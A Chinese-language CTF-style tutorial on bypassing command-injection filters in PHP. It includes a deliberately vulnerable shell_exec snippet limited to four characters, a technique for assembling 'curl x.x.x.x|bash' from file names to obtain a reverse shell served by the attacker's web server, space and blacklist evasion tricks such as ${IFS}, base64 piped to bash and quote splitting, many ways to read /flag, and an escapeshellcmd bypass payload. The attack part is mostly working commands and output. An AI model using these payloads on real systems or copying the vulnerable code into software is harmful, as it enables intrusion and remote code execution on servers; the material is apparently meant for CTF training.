突破命令长度限制

限制条件:长度<=4

限制代码:

<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<=4){
     echo shell_exec($_GET[1]);
}
else{
     echo "hack!!!";
}
?>

命令执行

先看效果图:

原理

  1. >后面跟的文件名,可以生成一个以这个字符串命名的文件
  2. *可以将文件名(按首字母排序)列出来当一行命令执行
  3. *v匹配当前目录下以v结尾的的文件名,*v=rev v,输出v文件内容里面内容的反序结果,>cat|*t同理
  4. dir a b>c只会将a b写到文件c

反弹shell

先看效果图:

获取ls -th >g命令

获取curl x.x.x.x|bash命令

>cu\\这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\\产生\,但是php 代码exec时,只需要输入\即可产生\,比如 exec(">cu\")即可。所以这里实际上是不超过4个字符的,为了演示直观,在shell中直接执行

执行结果:

原理

  1. ls -t按时间顺序排列文件,ls -th不影响命令执行,为了让倒序的时候ht-sl前面
  2. \ linux下行末加上\会将该行末尾与下一行行首连接起来,简单来说应该是删掉了换行符

这里需要注意,文件名中不能包含/这个符号的,所以需要将反弹shell的服务器根目录下默认网页设置成curl下反弹shell的命令的网页

例如我ubuntu服务器的Apache默认网页设置在/etc/apache2/mods-available/dir.conf中,编辑如下

1.txt中为反弹shell的命令,这样即可成功执行

或者你改index.html的内容也行

绕过空格

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串
${IFS}
linux@Extrader:/var/www/html$ cat /flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat${IFS}/flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat${IFS}$9/flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat$IFS$9/flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}

php下可以cat%09/flag

<>
linux@Extrader:/var/www/html$ cat</flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}

黑名单绕过

拼接
linux@Extrader:/var/www/html$ a=c;b=at;c=/flag;$a$b $c
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}

base64编码
linux@Extrader:/var/www/html$ `echo "Y2F0IC9mbGFn"|base64 -d`
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}

单引号、双引号
linux@Extrader:/var/www/html$ c""at /flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ c""at /fl""ag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ c""at /fl''ag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}

反斜线 \
linux@Extrader:/var/www/html$ ca\t /fl\ag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}

文件读取

linux@Extrader:/var/www/html$ cat /flag   # 连接文件并打印到标准输出设备上
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ rev /flag   # 将文件内容以字符为单位反序输出
}e32de3e34-g45t4d2-45gt532-34f32e3{galf
linux@Extrader:/var/www/html$ more /flag  # 显示文件内容,每次显示一屏
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ tail /flag  # 在屏幕上显示指定文件的末尾若干行
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ less /flag  # 分屏上下翻页浏览文件内容
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ head /flag  # 在屏幕上显示指定文件的开头若干行
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ tac /flag   # 将文件以行为单位的反序输出
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ sort /flag  # 将文件进行排序并输出
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ nl /flag    # 在Linux系统中计算文件内容行号
     1  flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ hexdump /flag  #显示文件十六进制格式
0000000 6c66 6761 337b 3265 6633 3334 322d 3533
0000010 6774 3435 322d 3464 3574 6734 342d 6533
0000020 6533 3264 6533 0a7d
0000028
linux@Extrader:/var/www/html$ cat /fl*
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat /fla?
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}

绕过escapeshellcmd

测试代码:

<?php
    $command = 'dir '.$_POST['dir'];
    $escaped_command = escapeshellcmd($command);
    var_dump($escaped_command);
    file_put_contents('out.bat',$escaped_command);
    system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。

payload

dir=. %1a whoami

参考